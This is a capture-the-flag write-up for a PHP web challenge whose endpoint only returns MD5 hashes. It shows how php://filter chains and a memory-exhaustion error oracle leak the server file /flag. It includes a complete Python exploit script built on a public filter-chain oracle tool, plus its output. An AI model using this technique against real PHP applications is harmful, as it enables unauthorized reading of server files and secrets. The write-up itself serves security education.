Challenge: Spaetzle · CTF: GPN CTF 2026 · Category: Web · Difficulty: Easy

Summary

index.php exposes md5_file($_GET['path']) and file_get_contents($_GET['path']) but only ever prints the MD5 — the file content is never returned. PHP stream wrappers are allowed, so the hidden read is turned into a file disclosure with the error-based PHP filter-chain oracle (memory-exhaustion as a boolean), leaking /flag byte-by-byte.

Solution

Step 1: Recon — an MD5-only oracle over arbitrary paths

The homepage throws md5_file(): Filename cannot be empty and file_get_contents(): Filename cannot be empty, then prints d41d8...e (md5 of ""). Fuzzing parameters finds the input: path. The response is only the 32-char hash from line 21; the file_get_contents result on line 23 is read but never echoed. Stream wrappers work — data://text/plain,test returns md5("test") — so php://filter chains are in play.

Step 2: Leak files via the error-based filter-chain oracle

Even though content is never displayed, a convert.iconv filter chain leaks each base64 char of a file by triggering Allowed memory size of ... exhausted for a matching byte. That distinguishable response is the oracle. The app reads $_GET only (POST is ignored), so the chain length — and thus reachable offset — is bounded by Apache’s LimitRequestLine; the flag is short enough to fit. The script below finds the flag with the md5 existence oracle (/flag is real, in-webroot flag.txt is a decoy), leaks it, and completes/verifies it against md5_file("/flag").

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
# pip install requests ; uses synacktiv/php_filter_chains_oracle_exploit as leak engine
import base64, hashlib, os, re, subprocess, sys, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = "https://charred-potato-infused-with-cured-spaetzle-fs5o.gpn24.ctf.kitctf.de/"
PARAM, MATCH = "path", "Allowed memory size of"
EMPTY_MD5 = "d41d8cd98f00b204e9800998ecf8427e"   # md5("") -> file unreadable
TOOL = "/tmp/lexfo_oracle"

def md5_oracle(path):
    r = requests.get(TARGET, params={PARAM: path}, verify=False, timeout=15)
    if "Warning" in r.text: return None
    m = re.search(r"\b([0-9a-f]{32})\b", r.text)
    return m.group(1) if m else None

def ensure_tool():
    if not os.path.isdir(TOOL):
        subprocess.run(["git","clone","--depth","1",
            "https://github.com/synacktiv/php_filter_chains_oracle_exploit.git",TOOL],check=True)
    bf = os.path.join(TOOL,"filters_chain_oracle","core","bruteforcer.py")
    d = open(bf).read()                                   # non-tty fix for progress bar
    if "get_terminal_size().columns" in d:
        open(bf,"w").write(d.replace("get_terminal_size().columns","80"))
    return os.path.join(TOOL,"filters_chain_oracle_exploit.py")

def leak(path):
    out = subprocess.run([sys.executable, ensure_tool(), "--target",TARGET,
        "--file",path,"--parameter",PARAM,"--verb","GET","--match",MATCH],
        capture_output=True, text=True, timeout=900).stdout
    out = re.sub(r"\x1b\[[0-9;]*[A-Za-z]","",out)
    blobs = re.findall(r"[A-Za-z0-9+/]{20,}={0,2}", out)
    best = max(blobs, key=len)
    return base64.b64decode(best + "="*(-len(best)%4))

# 1) confirm wrapper + oracle
assert md5_oracle("data://text/plain,test") == hashlib.md5(b"test").hexdigest()
# 2) locate flag (real /flag vs decoy /var/www/html/flag.txt)
target = md5_oracle("/flag"); assert target and target != EMPTY_MD5
# 3) leak it
data = leak("/flag")
# 4) GET length caps the tail a few chars short of "}\n" -> finish via known md5
if hashlib.md5(data).hexdigest() != target:
    pre = data.decode("latin1").rstrip("}\n")
    for suf in ("}\n","}","\n",""):
        if hashlib.md5((pre+suf).encode()).hexdigest() == target:
            data = (pre+suf).encode(); break
assert hashlib.md5(data).hexdigest() == target
print("FLAG:", data.decode().strip())

Output:

1
FLAG: GPNCTF{WeB_IS_F0r_W3Ebs_and_5uCKS_pHp_iS_COol_t0U6H}

Flag

1
GPNCTF{WeB_IS_F0r_W3Ebs_and_5uCKS_pHp_iS_COol_t0U6H}